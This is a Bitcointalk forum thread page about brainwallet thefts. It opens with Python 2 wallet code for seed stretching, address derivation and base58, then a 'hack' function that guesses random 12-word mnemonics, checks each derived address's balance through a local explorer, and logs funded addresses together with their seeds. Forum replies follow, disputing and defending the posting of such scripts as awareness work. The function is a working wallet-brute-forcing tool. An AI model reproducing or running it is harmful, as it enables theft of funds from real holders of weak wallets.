        self.change = v.get(1, [])
        self.mpk = v['mpk'].decode('hex')

    def dump(self):
        return {0:self.addresses, 1:self.change}

    @classmethod
    def mpk_from_seed(klass, seed):
        curve = SECP256k1
        secexp = klass.stretch_key(seed)
        master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 )
        master_public_key = master_private_key.get_verifying_key().to_string().encode('hex')
        return master_public_key

    @classmethod
    def stretch_key(self,seed):
        oldseed = seed
        for i in range(100000):
            seed = hashlib.sha256(seed + oldseed).digest()
        return string_to_number( seed )

    def get_sequence(self, for_change, n):
        return string_to_number( Hash( "%d:%d:"%(n,for_change) + self.mpk ) )

    def get_address(self, for_change, n):
        pubkey = self.get_pubkey(for_change, n)
        address = public_key_to_bc_address( pubkey.decode('hex') )
        return address

    def get_pubkey(self, for_change, n):
        curve = SECP256k1
        mpk = self.mpk
        z = self.get_sequence(for_change, n)
        master_public_key = ecdsa.VerifyingKey.from_string( mpk, curve = SECP256k1 )
        pubkey_point = master_public_key.pubkey.point + z*curve.generator
        public_key2 = ecdsa.VerifyingKey.from_public_point( pubkey_point, curve = SECP256k1 )
        return '04' + public_key2.to_string().encode('hex')

    def get_private_key_from_stretched_exponent(self, for_change, n, secexp):
        order = generator_secp256k1.order()
        secexp = ( secexp + self.get_sequence(for_change, n) ) % order
        pk = number_to_string( secexp, generator_secp256k1.order() )
        compressed = False
        return SecretToASecret( pk, compressed )
        
    def get_private_key(self, seed, sequence):
        for_change, n = sequence
        secexp = self.stretch_key(seed)
        return self.get_private_key_from_stretched_exponent(for_change, n, secexp)

    def check_seed(self, seed):
        curve = SECP256k1
        secexp = self.stretch_key(seed)
        master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 )
        master_public_key = master_private_key.get_verifying_key().to_string().encode('hex')
        if master_public_key != self.mpk:
            print_error('invalid password (mpk)')
            raise BaseException('Invalid password')
        return True

    def redeem_script(self, sequence):
        return None

def b58encode(v):
    """ encode v, which is a string of bytes, to base58."""

    long_value = 0L
    for (i, c) in enumerate(v[::-1]):
        long_value += (256**i) * ord(c)

    result = ''
    while long_value >= __b58base:
        div, mod = divmod(long_value, __b58base)
        result = __b58chars[mod] + result
        long_value = div
    result = __b58chars[long_value] + result

    # Bitcoin does a little leading-zero-compression:
    # leading 0-bytes in the input become leading-1s
    nPad = 0
    for c in v:
        if c == '\0': nPad += 1
        else: break

    return (__b58chars[0]*nPad) + result

def b58decode(v, length):
    """ decode v into a string of len bytes."""
    long_value = 0L
    for (i, c) in enumerate(v[::-1]):
        long_value += __b58chars.find(c) * (__b58base**i)

    result = ''
    while long_value >= 256:
        div, mod = divmod(long_value, 256)
        result = chr(mod) + result
        long_value = div
    result = chr(long_value) + result

    nPad = 0
    for c in v:
        if c == __b58chars[0]: nPad += 1
        else: break

    result = chr(0)*nPad + result
    if length is not None and len(result) != length:
        return None

    return result

__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
__b58base = len(__b58chars)

def EncodeBase58Check(vchIn):
    hash = Hash(vchIn)
    return b58encode(vchIn + hash[0:4])

def DecodeBase58Check(psz):
    vchRet = b58decode(psz, None)
    key = vchRet[0:-4]
    csum = vchRet[-4:]
    hash = Hash(key)
    cs32 = hash[0:4]
    if cs32 != csum:
        return None
    else:
        return key
def public_key_to_bc_address(public_key):
    h160 = hash_160(public_key)
    return hash_160_to_bc_address(h160)
def hash_160(public_key):
    try:
        md = hashlib.new('ripemd160')
        md.update(hashlib.sha256(public_key).digest())
        return md.digest()
    except:
        import ripemd
        md = ripemd.new(hashlib.sha256(public_key).digest())
        return md.digest()
def hash_160_to_bc_address(h160, addrtype = 0):
    vh160 = chr(addrtype) + h160
    h = Hash(vh160)
    addr = vh160 + h[0:4]
    return b58encode(addr)
mnemonic_hash = lambda x: hmac_sha_512("Bitcoin mnemonic", x).encode('hex')
hmac_sha_512 = lambda x,y: hmac.new(x, y, hashlib.sha512).digest()
Hash = lambda x: hashlib.sha256(hashlib.sha256(x).digest()).digest()

def hack(t, d):
while True:
guess = random.sample(words,12)
#guess = "shirt always flat become bird company everytime poet least soar crack story".split()
#print guess
seed = mn_decode(guess)
mpk = OldAccount.mpk_from_seed(seed)
acc = OldAccount({'mpk':mpk, 0:[], 1:[]})
#pk = number_to_string( secexp, generator_secp256k1.order() )
#compressed = False
# SecretToASecret( pk, compressed )

addy = acc.create_new_address(False)
myurl = "http://localhost:2750/chain/Bitcoin/q/getreceivedbyaddress/" + addy

f = urllib.urlopen(myurl)
balance = f.read()
print balance + ": " + addy
if balance != "0":
with open("addresses.txt", "a+") as myfile:
myfile.write(balance + ": " + addy + "\t" + seed + "\n")
MagicByt3
Member
**
Offline Offline

Activity: 168
Merit: 82


View Profile
February 07, 2019, 12:35:25 PM
 #80

where is admin, mod? Why topics like this can exist?

Security liabilities need to be discussed publicly, otherwise you have no basis for public discourse, awareness and improvement.

Note that this thread is about monitoring and documenting cases of brainwallet thefts, rather than stealing them.

While these thefts are happening regardless of whether threads like this exist, it may prevent some people from generating weak brainwallets and becoming victims themselves.

so why have to write and post script here? Teach everybody do with him?

1. Most of this code is available online or on github as already said we do this to improve the security of bitcoin to help users understand about brain wallets and the dangers of them.
2. I feel it much better to see a community attempting to eradicate and document this by-design un-secure wallet.
3. Who would you rather be talking about this issue,  the open community who are pushing new users away from this dangerous way to store funds or the criminals behind closed forums scanning new users funds away.

I have a feeling this guy has a brain wallet Smiley
Pages: « 1 2 3 [4] 5 »  All
  Print  
 
Jump to:  

Bitcointalk.org is not available or authorized for sale. Do not believe any fake listings.
Sponsored by , a Bitcoin-accepting VPN.
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!